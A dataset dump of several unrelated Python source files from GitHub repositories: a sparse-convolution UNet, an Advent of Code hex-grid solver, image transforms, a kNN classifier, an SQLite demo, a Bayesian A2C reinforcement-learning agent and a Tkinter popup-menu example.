forward(self, x, save_anchor=False, iter_=None, aux=None, enable_point_branch=False):\n # for n, m in self.named_modules():\n # if 'block' in n:\n # if hasattr(m, \"schedule_update\"):\n # m.schedule_update(iter_)\n if save_anchor:\n self.anchors = []\n # mapped to transformer.stem1\n out = self.conv0p1s1(x)\n out = self.bn0(out)\n out_p1 = get_nonlinearity_fn(self.config.nonlinearity, out)\n\n if enable_point_branch:\n out_p1_point = out_p1.F\n out_p1_coord = out_p1.C\n\n # mapped to transformer.stem2\n out = self.conv1p1s2(out_p1)\n out = self.bn1(out)\n out = get_nonlinearity_fn(self.config.nonlinearity, out)\n\n # mapped to transformer.PTBlock1\n out_b1p2 = self.block1(out, iter_, aux)\n if save_anchor:\n self.anchors.append(out_b1p2)\n\n # mapped to transformer.PTBlock2\n out = self.conv2p2s2(out_b1p2)\n out = self.bn2(out)\n out = get_nonlinearity_fn(self.config.nonlinearity, out)\n out_b2p4 = self.block2(out, iter_, aux)\n if save_anchor:\n self.anchors.append(out_b2p4)\n\n # mapped to transformer.PTBlock3\n out = self.conv3p4s2(out_b2p4)\n out = self.bn3(out)\n out = get_nonlinearity_fn(self.config.nonlinearity, out)\n out_b3p8 = self.block3(out, iter_, aux)\n # if save_anchor:\n # self.anchors.append(out_b3p8)\n\n # pixel_dist=16\n # mapped to transformer.PTBlock4\n out = self.conv4p8s2(out_b3p8)\n out = self.bn4(out)\n out = get_nonlinearity_fn(self.config.nonlinearity, out)\n out = self.block4(out, iter_, aux)\n # if save_anchor:\n # self.anchors.append(out)\n\n if enable_point_branch:\n interpolated_out = self.interpolate(out, out_p1_coord.type(torch.FloatTensor).to(out.device))\n # fused feature\n block4_features = interpolated_out + self.point_transform_mlp[0](out_p1_point)\n out_fused = ME.SparseTensor(features=block4_features, coordinates=out_p1_coord)\n out_fused = self.downsample16x(out_fused)\n out = ME.SparseTensor(features=self.dropout(out_fused.F), coordinate_map_key=out.coordinate_map_key, coordinate_manager=out.coordinate_manager)\n\n # pixel_dist=8\n # mapped to transfrormer.PTBlock5\n out = self.convtr4p16s2(out)\n out = self.bntr4(out)\n out = get_nonlinearity_fn(self.config.nonlinearity, out)\n out = me.cat(out, out_b3p8)\n out = self.block5(out, iter_, aux)\n # out = self.block5(out)\n # if save_anchor:\n # self.anchors.append(out)\n\n # pixel_dist=4\n # mapped to transformer.PTBlock6\n out = self.convtr5p8s2(out)\n out = self.bntr5(out)\n out = get_nonlinearity_fn(self.config.nonlinearity, out)\n out = me.cat(out, out_b2p4)\n out = self.block6(out, iter_, aux)\n if save_anchor:\n self.anchors.append(out)\n\n if enable_point_branch:\n interpolated_out = self.interpolate(out, out_p1_coord.type(torch.FloatTensor).to(out.device))\n block6_features = interpolated_out + self.point_transform_mlp[1](block4_features)\n out_fused = ME.SparseTensor(features=block6_features, coordinates=out_p1_coord)\n out_fused = self.downsample4x(out_fused)\n out = ME.SparseTensor(features=self.dropout(out_fused.F), coordinate_map_key=out.coordinate_map_key, coordinate_manager=out.coordinate_manager)\n\n # pixel_dist=2\n # mapped to transformer.PTBlock7\n out = self.convtr6p4s2(out)\n out = self.bntr6(out)\n out = get_nonlinearity_fn(self.config.nonlinearity, out)\n out = me.cat(out, out_b1p2)\n out = self.block7(out, iter_, aux)\n if save_anchor:\n self.anchors.append(out)\n\n # pixel_dist=1\n # mapped to transformer.final_conv\n out = self.convtr7p2s2(out)\n out = self.bntr7(out)\n out = get_nonlinearity_fn(self.config.nonlinearity, out)\n\n out = me.cat(out, out_p1)\n out = self.block8(out, iter_, aux)\n\n if enable_point_branch:\n interpolated_out = self.interpolate(out, out_p1_coord.type(torch.FloatTensor).to(out.device))\n block8_features = interpolated_out + self.point_transform_mlp[2](block6_features)\n out_fused = ME.SparseTensor(features=block8_features, coordinates=out_p1_coord)\n out = ME.SparseTensor(features=self.dropout(out_fused.F), coordinate_map_key=out.coordinate_map_key, coordinate_manager=out.coordinate_manager)\n\n\n out = self.final(out)\n\n if torch.isnan(out.F).sum() > 0:\n import ipdb; ipdb.set_trace()\n\n if save_anchor:\n return out, self.anchors\n else:\n return out\n\n\nclass Res16UNet14(Res16UNetBase):\n BLOCK = BasicBlock\n LAYERS = (1, 1, 1, 1, 1, 1, 1, 1)\n\n\nclass Res16UNet18(Res16UNetBase):\n BLOCK = BasicBlock\n LAYERS = (2, 2, 2, 2, 2, 2, 2, 2)\n\n\nclass Res16UNet34(Res16UNetBase):\n BLOCK = BasicBlock\n LAYERS = (2, 3, 4, 6, 2, 2, 2, 2)\n\nclass Res16UNet50(Res16UNetBase):\n BLOCK = Bottleneck\n LAYERS = (2, 3, 4, 6, 2, 2, 2, 2)\n\n\nclass Res16UNet101(Res16UNetBase):\n BLOCK = Bottleneck\n LAYERS = (2, 3, 4, 23, 2, 2, 2, 2)\n\n\nclass Res16UNet14A(Res16UNet14):\n PLANES = (32, 64, 128, 256, 128, 128, 96, 96)\n\n\nclass Res16UNet14A2(Res16UNet14A):\n LAYERS = (1, 1, 1, 1, 2, 2, 2, 2)\n\n\nclass Res16UNet14B(Res16UNet14):\n PLANES = (32, 64, 128, 256, 128, 128, 128, 128)\n\n\nclass Res16UNet14B2(Res16UNet14B):\n LAYERS = (1, 1, 1, 1, 2, 2, 2, 2)\n\n\nclass Res16UNet14B3(Res16UNet14B):\n LAYERS = (2, 2, 2, 2, 1, 1, 1, 1)\n\n\nclass Res16UNet14C(Res16UNet14):\n PLANES = (32, 64, 128, 256, 192, 192, 128, 128)\n\n\nclass Res16UNet14D(Res16UNet14):\n PLANES = (32, 64, 128, 256, 384, 384, 384, 384)\n\n\nclass Res16UNet18A(Res16UNet18):\n PLANES = (32, 64, 128, 256, 128, 128, 96, 96)\n\n\nclass Res16UNet18B(Res16UNet18):\n PLANES = (32, 64, 128, 256, 128, 128, 128, 128)\n\n\nclass Res16UNet18D(Res16UNet18):\n PLANES = (32, 64, 128, 256, 384, 384, 384, 384)\n\n\nclass Res16UNet18E(Res16UNet18):\n PLANES = (32, 64, 128, 256, 256, 128, 64, 64)\n\n\nclass Res16UNet18F(Res16UNet18):\n PLANES = (32, 64, 128, 256, 256, 128, 64, 32)\n\n\nclass Res16UNet34A(Res16UNet34):\n PLANES = (32, 64, 128, 256, 256, 128, 64, 64)\n\n\nclass Res16UNet34B(Res16UNet34):\n PLANES = (32, 64, 128, 256, 256, 128, 64, 32)\n\n\nclass Res16UNet34C(Res16UNet34):\n PLANES = (32, 64, 128, 256, 256, 128, 96, 96)\n\nclass Res16UNetTest(Res16UNetBase):\n BLOCK = [SingleConv]*8\n BLOCK[0] = SingleConv\n LAYERS = (2, 2, 2, 2, 2, 2, 2, 2)\n\nclass Res16UNetTestA(Res16UNetTest):\n\n DEPTH_RATIO = 2\n PLANES_RATIO = 0.75\n\n BLOCK= [CodedVTRBlock]*8\n BLOCK[0]= BasicBlock\n BLOCK[-1]= BasicBlock\n\n LAYERS = (np.array([1, 1, 1, 1, 1, 1, 1, 1])*DEPTH_RATIO).astype(int)\n PLANES = (np.array([32, 64, 128, 256, 128, 128, 96, 96])*PLANES_RATIO).astype(int)\n\nclass Res18UNet(Res16UNetTest):\n BLOCK= [SingleConv]*8\n\n LAYERS = (2, 2, 2, 2, 2, 2, 2, 2)\n PLANES = (np.array([32, 64, 128, 256, 256, 128, 96, 96])*1.0).astype(int)\n\n\nclass Res16UNet(Res16UNetBase):\n BLOCK= [SingleConv]*8\n\n LAYERS = (1, 1, 1, 1, 1, 1, 1, 1)\n PLANES = (np.array([32, 64, 128, 256, 256, 128, 96, 96])).astype(int)\n\nclass Res34UNet(Res16UNetBase):\n BLOCK= [SingleConv]*8\n LAYERS = (2, 3, 4, 6, 2, 2, 2, 2)\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"A-suozhang/CodedVTR","sub_path":"models_/res16unet.py","file_name":"res16unet.py","file_ext":"py","file_size_in_byte":21231,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"67"} +{"seq_id":"11932518961","text":"import re\nimport itertools\nfrom collections import Counter\nimport utils as ut\n\n# Part 1\ndirs = {\n 'n': (0, -1),\n 's': (0, 1),\n 'ne': (1, -1),\n 'se': (1, 0),\n 'nw': (-1, 0),\n 'sw': (-1, 1)\n}\n\ndef move(x, y, dir):\n return dirs[dir][0] + x, dirs[dir][1] + y\n\ndef dist(x, y):\n return (abs(x) + abs(y) + abs(x + y)) / 2\n\ndef solve(text):\n x, y = 0, 0\n max_steps = 0\n for dir in text.split(','):\n x, y = move(x, y, dir)\n max_steps = max(max_steps, dist(x, y))\n\n return dist(x, y)\n\nprint(solve('se,sw,se,sw,sw'))\n\npart1 = solve(ut.input(11).read())\nprint(part1)\n\n# Part 2\n\npart2 = ''\nprint(part2)","repo_name":"phongvis/aoc","sub_path":"2017/day11.py","file_name":"day11.py","file_ext":"py","file_size_in_byte":639,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"71887253655","text":"#refered https://github.com/pytorch/vision/blob/master/torchvision/transforms/transforms.py\n\nimport math\nimport numbers\nimport random\nimport warnings\nfrom collections.abc import Sequence\nfrom typing import Tuple, List, Optional\n\nimport torch\nfrom PIL import Image\nfrom torch import Tensor\nimport torchvision.transforms.functional as F\n\n\nclass Compose(object):\n def __init__(self, transforms):\n self.transforms = transforms\n\n def __call__(self, img):\n for t in self.transforms:\n img = t(img)\n return img\n\n def __repr__(self):\n format_string = self.__class__.__name__ + '('\n for t in self.transforms:\n format_string += '\\n'\n format_string += ' {0}'.format(t)\n format_string += '\\n)'\n return format_string\n\n\nclass ToTensor(object):\n def __call__(self, pic):\n return F.to_tensor(pic[0]), F.to_tensor(pic[1]), F.to_tensor(pic[2])\n\n def __repr__(self):\n return self.__class__.__name__ + '()'\n\n\nclass Scale(object):\n def __init__(self, size, interpolation=Image.BILINEAR):\n self.size = size\n self.interpolation = interpolation\n\n def __call__(self, imgs):\n output = []\n for img in imgs:\n w, h = img.size\n if (w <= h and w == self.size) or (h <= w and h == self.size):\n output.append(img)\n continue\n if w < h:\n ow = self.size\n oh = int(self.size * h / w)\n output.append(img.resize((ow, oh), self.interpolation))\n continue\n else:\n oh = self.size\n ow = int(self.size * w / h)\n output.append(img.resize((ow, oh), self.interpolation))\n return output[0], output[1], output[2]\n\n\nclass Normalize(object):\n def __init__(self, mean, std, inplace=False):\n self.mean = mean\n self.std = std\n self.inplace = inplace\n\n def __call__(self, tensor):\n return F.normalize(tensor[0], self.mean, self.std, self.inplace), F.normalize(tensor[1], self.mean, self.std, self.inplace), F.normalize(tensor[2], self.mean, self.std, self.inplace)\n\n def __repr__(self):\n return self.__class__.__name__ + '(mean={0}, std={1})'.format(self.mean, self.std)\n\n\nclass CenterCrop(torch.nn.Module):\n def __init__(self, size):\n super().__init__()\n if isinstance(size, numbers.Number):\n self.size = (int(size), int(size))\n elif isinstance(size, Sequence) and len(size) == 1:\n self.size = (size[0], size[0])\n else:\n if len(size) != 2:\n raise ValueError(\"Please provide only two dimensions (h, w) for size.\")\n\n self.size = size\n\n def forward(self, img):\n return F.center_crop(img[0], self.size), F.center_crop(img[1], self.size), F.center_crop(img[2], self.size)\n\n def __repr__(self):\n return self.__class__.__name__ + '(size={0})'.format(self.size)\n\n\nclass RandomCrop(torch.nn.Module):\n @staticmethod\n def get_params(img: Tensor, output_size: Tuple[int, int]) -> Tuple[int, int, int, int]:\n w, h = img.size\n th, tw = output_size\n if w == tw and h == th:\n return 0, 0, h, w\n\n i = torch.randint(0, h - th + 1, size=(1, )).item()\n j = torch.randint(0, w - tw + 1, size=(1, )).item()\n return i, j, th, tw\n\n def __init__(self, size, padding=None, pad_if_needed=False, fill=0, padding_mode=\"constant\"):\n super().__init__()\n if isinstance(size, numbers.Number):\n self.size = (int(size), int(size))\n elif isinstance(size, Sequence) and len(size) == 1:\n self.size = (size[0], size[0])\n else:\n if len(size) != 2:\n raise ValueError(\"Please provide only two dimensions (h, w) for size.\")\n\n # cast to tuple for torchscript\n self.size = tuple(size)\n self.padding = padding\n self.pad_if_needed = pad_if_needed\n self.fill = fill\n self.padding_mode = padding_mode\n\n def forward(self, img):\n if self.padding is not None:\n img[0] = F.pad(img[0], self.padding, self.fill, self.padding_mode)\n\n width, height = img[0].size\n # pad the width if needed\n if self.pad_if_needed and width < self.size[1]:\n padding = [self.size[1] - width, 0]\n img[0] = F.pad(img[0], padding, self.fill, self.padding_mode)\n # pad the height if needed\n if self.pad_if_needed and height < self.size[0]:\n padding = [0, self.size[0] - height]\n img[0] = F.pad(img[0], padding, self.fill, self.padding_mode)\n\n i, j, h, w = self.get_params(img[0], self.size)\n\n return F.crop(img[0], i, j, h, w), F.crop(img[1], i, j, h, w), F.crop(img[2], i, j, h, w)\n\n def __repr__(self):\n return self.__class__.__name__ + \"(size={0}, padding={1})\".format(self.size, self.padding)\n\n\nclass RandomHorizontalFlip(torch.nn.Module):\n def __init__(self, p=0.5):\n super().__init__()\n self.p = p\n\n def forward(self, img):\n if torch.rand(1) < self.p:\n return F.hflip(img[0]), F.hflip(img[1]), F.hflip(img[2])\n return img[0], img[1], img[2]\n\n def __repr__(self):\n return self.__class__.__name__ + '(p={})'.format(self.p)","repo_name":"IsHYuhi/ST-CGAN_Stacked_Conditional_Generative_Adversarial_Networks","sub_path":"utils/ISTD_transforms.py","file_name":"ISTD_transforms.py","file_ext":"py","file_size_in_byte":5223,"program_lang":"python","lang":"en","doc_type":"code","stars":54,"dataset":"github-code","pt":"67"} +{"seq_id":"73604313813","text":"#/usr/bin/env python\n\n#k nearest neighbourhood classifier\nimport numpy as np\nimport scipy.spatial.distance as spd\nfrom collections import Counter\n\nclass knn:\n def __init__(self):\n pass\n\n def train(self, x, y):\n #x is a NxD matrix, where N is the no of image and D is unfolded length of\n #each image.\n #y is the lable of each image. y is same length as x (N)\n self.X_train=x\n self.y_train=y\n\n def predict(self,x,k=1):\n \"\"\"\n Predicts classes of each datapoint/image\n\n Input: x is a NxD matrix, where N is the no of datapoints/image to be tested and D is unfolded\n length of each datapoint/image\n k: k nearest neighbour, default 1\n \"\"\"\n dist=self.compute_distances_no_loops(x)\n return self.predict_labels(dist,k)\n\n def compute_distances_no_loops(self, X):\n \"\"\"\n Compute the distance between each test point in X and each training point\n in self.X_train using no explicit loops.\n\n Input / Output: X, test datapoint/image\n \"\"\"\n num_test = X.shape[0]\n num_train = self.X_train.shape[0]\n dists = np.zeros((num_test, num_train))\n #computing L2 euclidean distance between test and train datapoint/image\n dists=spd.cdist(X,self.X_train,'euclidean')\n return dists\n\n def predict_labels(self, dists, k):\n \"\"\"\n Given a matrix of distances between test points and training points,\n predict a label for each test point.\n\n Inputs:\n - dists: A numpy array of shape (num_test, num_train) where dists[i, j]\n gives the distance betwen the ith test point and the jth training point.\n\n Returns:\n - y: A numpy array of shape (num_test,) containing predicted labels for the\n test data, where y[i] is the predicted label for the test point X[i].\n \"\"\"\n num_test = dists.shape[0]\n y_pred = np.zeros(num_test)\n for i in range(num_test):\n # A list of length k storing the labels of the k nearest neighbors to\n # the ith test point.\n closest_y = []\n #finding idx of k smallest distance points\n t=(np.argsort(dists[i,:]))[:k]\n closest_y=self.y_train[t]\n vote_res=Counter(closest_y).most_common()\n if len(vote_res)==k:\n y_pred[i]=np.min(closest_y)\n else:\n y_pred[i]=int(vote_res[0][0])\n return y_pred\n","repo_name":"azmansami/knn_classifier","sub_path":"knn.py","file_name":"knn.py","file_ext":"py","file_size_in_byte":2485,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"26770063860","text":"import sqlite3\n\nmiConexion=sqlite3.connect(\"BBDD1\")\t#Para observar la base de datos SQLite, usar un visor\nmiCursor=miConexion.cursor()\n\nmiCursor.execute(\"CREATE TABLE PRODUCTS (item_name VARCHAR(50), price INTEGER, section VARCHAR(20))\")\n\t\t#Luego de crear la tabla, se debe documentar la linea anterior\nmiCursor.execute(\"INSERT INTO PRODUCTS VALUES('Balon', '12345', 'Deportes')\")\nvariosProductos=[\n\t(\"Camiseta\", 1000, \"Deportes\"),\n\t(\"Jarron\", 90000, \"Ceramica\"),\n\t(\"Celular\", 2000, \"Tecnologia\")\n]\nmiCursor.executemany(\"INSERT INTO PRODUCTS VALUES(?,?,?)\", variosProductos)\n\nmiCursor.execute(\"SELECT * FROM PRODUCTS\")\nverProductos=miCursor.fetchall()\nfor producto in verProductos:\n\tprint(\"Nombre Articulo: \", producto[0], \n\t\t\" Precio: \", producto[1], \n\t\t\" Seccion: \", producto[2])\n\nmiConexion.commit()\n\n\nmiCursor.close()\nmiConexion.close()","repo_name":"carlos-paezf/Python_Conceptos","sub_path":"BBDD/BBDD1.py","file_name":"BBDD1.py","file_ext":"py","file_size_in_byte":840,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"12577408728","text":"\"\"\"\nExtended Variational Density Propagation for Advantage Actor Critic (A2C) in PyTorch.\n\nThis script implements a Bayesian multi-layer perceptron with KL Loss\nusing extended variational density propagation (VDP) for A2C in PyTorch. The code is modified\nfrom exVDP_MNIST.py in https://github.com/dimahdera/Robust-Anomaly-Detection,\nwhich is an implementation of the paper \"PremiUm-CNN: Propagating Uncertainty Towards \nRobust Convolutional Neural Networks\" by Dera et al.\nThe original code was authored by Dimah Dera.\n\nThe script defines several custom PyTorch modules, including `Constant2RVLinearlayer`,\n`RV2RVLinearlayer`, `RVRelu`, and `RVSoftmax`, which are used to build the Bayesian MLP.\nIt also defines a `nll_gaussian` function for computing the negative log-likelihood of\na Gaussian distribution, as well as an `exVDPMLP` class that encapsulates the entire\nBayesian MLP.\n\nAuthor: Kyle Naddeo\nDate: 4/12/2023\n\"\"\"\n\n# Imports\nimport torch\nimport torch.nn as nn\nimport torch.optim as optim\nimport torch.nn.functional as F\nfrom torch.distributions import Categorical\n\ndef nll_gaussian(y_test, y_pred_mean, y_pred_sd, num_labels):\n \"\"\"\n Compute the negative log-likelihood of a Gaussian distribution.\n\n Args:\n y_test (torch.Tensor): A tensor of shape (batch_size, num_labels).\n y_pred_mean (torch.Tensor): A tensor of shape (batch_size, num_labels).\n y_pred_sd (torch.Tensor): A tensor of shape (batch_size, num_labels, num_labels).\n num_labels (int): The number of output labels.\n\n Returns:\n torch.Tensor: A scalar tensor representing the negative log-likelihood of the predicted distribution.\n \"\"\"\n # Collect Stats\n batch_size = y_test.size(0)\n\n # Declare device\n device = y_pred_mean.device\n \n # Add small constant to diagonal for numerical stability\n NS = torch.diag_embed(torch.full((batch_size, num_labels), 1e-3)).to(device)\n y_pred_sd_ns = y_pred_sd + NS\n \n # Invert sigma\n y_pred_sd_inv = torch.linalg.inv(y_pred_sd_ns)\n\n # Calculate error\n mu_ = y_pred_mean - y_test\n\n # First term is error over sigma\n mu_sigma = torch.matmul(mu_.unsqueeze(dim=1), y_pred_sd_inv)\n ms1 = torch.mean(torch.squeeze(torch.matmul(mu_sigma, mu_.unsqueeze(dim=2))))\n\n # Second term is log determinant\n ms2 = torch.mean(torch.squeeze(torch.linalg.slogdet(y_pred_sd_ns)[1]))\n\n # Compute the mean\n ms = 0.5 * ms1 + 0.5 * ms2\n return ms\n\ndef compute_kl_loss(mu, sigma):\n \"\"\"\n Computes the Kullback-Leibler (KL) divergence between a Gaussian distribution\n with mean `mu` and covariance `sigma` and a standard normal distribution.\n\n Parameters:\n mu (torch.Tensor): the mean of the Gaussian distribution (batch_size, num_features)\n sigma (torch.Tensor): the covariance matrix of the Gaussian distribution (batch_size, num_features, num_features)\n\n Returns:\n torch.Tensor: the KL divergence between the Gaussian distribution and the standard normal distribution (batch_size,)\n\n References:\n - Derivation from https://mr-easy.github.io/2020-04-16-kl-divergence-between-2-gaussian-distributions/\n - Assumes the prior is a standard normal distribution\n\n Formula:\n The KL divergence between a Gaussian distribution q(z|x) with mean `mu` and covariance `sigma` and a\n standard normal distribution p(z) is given by:\n\n KL(q(z|x) || p(z)) = 0.5 * (mu^T mu + tr(sigma) - k - log(det(sigma)))\n\n where `tr(sigma)` is the trace of the covariance matrix, `mu^T mu` is the dot product of the mean vector with\n itself, `k` is the dimension of the Gaussian distribution (i.e., the number of features), and `det(sigma)`\n is the determinant of the covariance matrix.\n \"\"\"\n device = mu.device\n\n # calculate the KL divergence\n k = torch.tensor(mu.size(0)).view(-1, 1).to(device)\n trace_sigma = torch.diagonal(sigma, dim1=-2, dim2=-1).sum(-1).view(-1, 1)\n mu_sq = torch.bmm(mu.t().unsqueeze(1), mu.t().unsqueeze(2)).view(-1, 1)\n logdet_sigma = torch.slogdet(sigma)[1].view(-1, 1)\n kl_loss = 0.5 * (trace_sigma + mu_sq - k - logdet_sigma).sum()\n \n return kl_loss\n\nclass RVLinearlayer(nn.Module):\n \"\"\"\n Custom Bayesian Linear Input Layer that takes random variable input.\n\n Attributes:\n size_in (int): The input size of the layer.\n size_out (int): The output size of the layer.\n w_mu (nn.Parameter): The weight mean parameter.\n w_sigma (nn.Parameter): The weight sigma parameter.\n b_mu (nn.Parameter): The bias mean parameter.\n b_sigma (nn.Parameter): The bias sigma parameter.\n \"\"\"\n def __init__(self, size_in, size_out):\n super(RVLinearlayer, self).__init__()\n # collect stats\n self.size_in, self.size_out = size_in, size_out\n\n # initialize weight and bias mean and sigma parameters\n self.w_mu = nn.Parameter(torch.Tensor(size_in, size_out))\n self.w_sigma = nn.Parameter(torch.Tensor(size_out, size_in))\n self.b_mu = nn.Parameter(torch.Tensor(size_out, 1))\n self.b_sigma = nn.Parameter(torch.Tensor(size_out,))\n\n # initialize weights and biases using normal and uniform distributions\n nn.init.normal_(self.w_mu, mean=0.0, std=0.00005)\n nn.init.uniform_(self.w_sigma, a=-12.0, b=-2.0)\n nn.init.normal_(self.b_mu, mean=0.0, std=0.00005)\n nn.init.uniform_(self.b_sigma, a=-12.0, b=-2.0)\n\n def forward(self, mu_in, sigma_in):\n \n # Extract stats\n device = self.w_mu.device\n batch_size = mu_in.size(0)\n\n # Reshape\n mu_in_reshaped = mu_in.view(batch_size, self.size_in, 1)\n\n mu_out = torch.matmul(self.w_mu.transpose(1, 0), mu_in_reshaped) + self.b_mu\n\n # Perform a reparameterization trick\n W_Sigma = torch.log(1. + torch.exp(self.w_sigma))\n B_Sigma = torch.log(1. + torch.exp(self.b_sigma))\n \n # Creat diagonal matrices\n W_Sigma = torch.diag_embed(W_Sigma)\n B_Sigma = torch.diag_embed(B_Sigma)\n\n # Calculate Sigma_out\n mu_in_t_W_Sigma_mu_in = torch.bmm(torch.matmul(W_Sigma, mu_in_reshaped.transpose(2, 1).unsqueeze(-1)).squeeze(-1), mu_in_reshaped).squeeze()\n\n if sigma_in is not None:\n tr_W_Sigma_and_sigma_in = torch.matmul(W_Sigma.view(self.size_out, -1), sigma_in.view(-1, batch_size)).view(batch_size, self.size_out)\n mu_w_t_sigma_in_mu_w = torch.matmul(torch.matmul(self.w_mu.t(), sigma_in), self.w_mu)\n\n if torch.prod(torch.tensor(tr_W_Sigma_and_sigma_in.shape)) == 1:\n Sigma_out = torch.tensor(tr_W_Sigma_and_sigma_in.item() + mu_w_t_sigma_in_mu_w.item() + mu_in_t_W_Sigma_mu_in.item() + B_Sigma.item())\n else:\n Sigma_out = (torch.diag_embed(tr_W_Sigma_and_sigma_in) + mu_w_t_sigma_in_mu_w + torch.diag_embed(mu_in_t_W_Sigma_mu_in)) + B_Sigma\n \n else:\n Sigma_out = torch.diag_embed(mu_in_t_W_Sigma_mu_in) + B_Sigma\n \n # KL loss\n kl_loss = compute_kl_loss(self.w_mu, W_Sigma)\n \n return mu_out, Sigma_out , kl_loss\n\nclass RVNonLinearFunc(nn.Module):\n \"\"\"\n Custom Bayesian ReLU activation function for random variables.\n\n Attributes:\n None\n \"\"\"\n def __init__(self, func):\n super(RVNonLinearFunc, self).__init__()\n self.func = func\n\n def forward(self, mu_in, Sigma_in):\n \"\"\"\n Forward pass of the Bayesian ReLU activation function.\n\n Args:\n mu_in (torch.Tensor): A tensor of shape (batch_size, input_size),\n representing the mean input to the ReLU activation function.\n Sigma_in (torch.Tensor): A tensor of shape (batch_size, input_size, input_size),\n representing the covariance input to the ReLU activation function.\n\n Returns:\n Tuple[torch.Tensor, torch.Tensor]: A tuple of two tensors,\n including the mean of the output and the covariance of the output.\n \"\"\"\n # Collect stats\n batch_size = mu_in.size(0)\n \n # Mean\n mu_out = self.func(mu_in)\n\n # Compute the derivative of the ReLU activation function with respect to the input mean\n gradi = torch.autograd.grad(mu_out, mu_in, grad_outputs=torch.ones_like(mu_out), create_graph=True)[0].view(batch_size,-1)\n\n # add an extra dimension to gradi at position 2 and 1\n grad1 = gradi.unsqueeze(dim=2)\n grad2 = gradi.unsqueeze(dim=1)\n \n # compute the outer product of grad1 and grad2\n outer_product = torch.bmm(grad1, grad2)\n \n # element-wise multiply Sigma_in with the outer product\n # and return the result\n Sigma_out = torch.mul(Sigma_in, outer_product)\n\n return mu_out, Sigma_out\n\nclass ActorCritic(nn.Module):\n def __init__(self, input_shape, num_actions):\n super(ActorCritic, self).__init__()\n\n self.relu = RVNonLinearFunc(func = torch.nn.functional.relu)\n \n self.fc1 = RVLinearlayer(input_shape, 256) # self.fc1 = nn.Linear(input_shape, 256)\n self.fc2 = RVLinearlayer(256, 128) # nn.Linear(256, 128)\n self.actor = RVLinearlayer(128, num_actions) # nn.Linear(128, num_actions)\n self.critic = RVLinearlayer(128, 1) # nn.Linear(128, 1)\n\n def forward(self, x, return_uncertainty=False):\n # Feature embedding\n m, s, kl_1 = self.fc1(x.view(1, -1), None) # x = self.relu(self.fc1(x))\n m, s = self.relu(m, s)\n\n m, s, kl_2 = self.fc2(m, s) # x = self.relu(self.fc2(x))\n m, s = self.relu(m, s)\n\n feature_kl = kl_1 + kl_2\n\n # Actor and Critic\n logits, actor_sigma, actor_kl = self.actor(m, s)\n value, critic_sigma, critic_kl = self.critic(m, s)\n\n if return_uncertainty:\n return logits.view(-1), value.view(-1), actor_sigma, critic_sigma, actor_kl, critic_kl, feature_kl\n else:\n return logits.view(-1), value.view(-1)\n\nclass A2CAgent:\n def __init__(self, input_shape, num_actions, gamma=0.99, lr=0.001, kl_factor=0.001, device='cpu', pretrained_weights=None):\n self.gamma = gamma\n self.kl_factor = kl_factor\n self.device = device\n self.model = ActorCritic(input_shape, num_actions).to(self.device)\n self.optimizer = optim.Adam(self.model.parameters(), lr=lr)\n\n if pretrained_weights is not None:\n self.model.load_state_dict(torch.load(pretrained_weights, map_location=torch.device('cpu')))\n\n def act(self, state, return_logits=False):\n state = torch.from_numpy(state).float().to(self.device)\n logits, _ = self.model(state)\n dist = Categorical(logits=logits)\n action = dist.sample()\n\n if return_logits:\n return action.item(), logits\n else:\n return action.item()\n\n def update(self, states, actions, rewards, next_states, dones, max_grad_norm=0.5):\n states = torch.FloatTensor(states).to(self.device)\n actions = torch.FloatTensor([actions]).to(self.device)\n rewards = torch.FloatTensor([rewards]).to(self.device)\n next_states = torch.FloatTensor(next_states).to(self.device)\n\n _, values, _, _, actor_kl, critic_kl, feature_kl = self.model(states, return_uncertainty=True)\n _, next_values = self.model(next_states)\n\n deltas = rewards + self.gamma * next_values * (1 - dones) - values\n\n critic_loss = deltas.pow(2).mean()\n total_critic_loss = critic_loss + self.kl_factor * (feature_kl + critic_kl)\n self.optimizer.zero_grad()\n total_critic_loss.backward()\n torch.nn.utils.clip_grad_norm_(self.model.parameters(), max_grad_norm)\n self.optimizer.step()\n\n logits, _, _, _, actor_kl, critic_kl, feature_kl = self.model(states, return_uncertainty=True)\n dist = Categorical(logits=logits)\n log_probs = dist.log_prob(actions)\n actor_loss = -(log_probs * deltas.detach()).mean()\n total_actor_loss = actor_loss + self.kl_factor * (feature_kl + actor_kl)\n self.optimizer.zero_grad()\n total_actor_loss.backward()\n torch.nn.utils.clip_grad_norm_(self.model.parameters(), max_grad_norm)\n self.optimizer.step()\n\n return total_actor_loss, total_critic_loss, actor_loss, critic_loss, actor_kl, critic_kl, feature_kl\n","repo_name":"naddeok96/exVDP-exRL","sub_path":"model_classes/a2c_VDP.py","file_name":"a2c_VDP.py","file_ext":"py","file_size_in_byte":12386,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"35312328325","text":"# Fig. 11.4: fig11_04.py\n# Popup menu demonstration.\n\nfrom Tkinter import *\n\nclass PopupMenuDemo( Frame ):\n \"\"\"Demonstrate popup menus\"\"\"\n \n def __init__( self ):\n \"\"\"Create a Menu but do not add it to the Frame\"\"\"\n \n Frame.__init__( self )\n self.pack( expand = YES, fill = BOTH )\n self.master.title( \"Popup Menu Demo\" )\n self.master.geometry( \"300x200\" )\n\n # create and pack frame with initial white background\n self.frame1 = Frame( self, bg = \"white\" )\n self.frame1.pack( expand= YES, fill = BOTH )\n \n # create menu without packing it\n self.menu = Menu( self.frame1, tearoff = 0 )\n\n colors = [ \"White\", \"Blue\", \"Yellow\", \"Red\" ]\n self.selectedColor = StringVar()\n self.selectedColor.set( colors[ 0 ] )\n \n for item in colors:\n self.menu.add_radiobutton( label = item,\n variable = self.selectedColor,\n command = self.changeBackgroundColor )\n\n # popup menu on right-mouse click \n self.frame1.bind( \"\", self.popUpMenu )\n\n def popUpMenu( self, event ):\n \"\"\"Add the Menu to the Frame\"\"\"\n \n self.menu.post( event.x_root, event.y_root )\n\n def changeBackgroundColor( self ):\n \"\"\"Change the Frame background color\"\"\"\n \n self.frame1.config( bg = self.selectedColor.get() )\n \ndef main():\n PopupMenuDemo().mainloop() \n\nif __name__ == \"__main__\":\n main()\n\n########################################################################## \n# (C) Copyright 2002 by Deitel & Associates, Inc. and Prentice Hall. #\n# 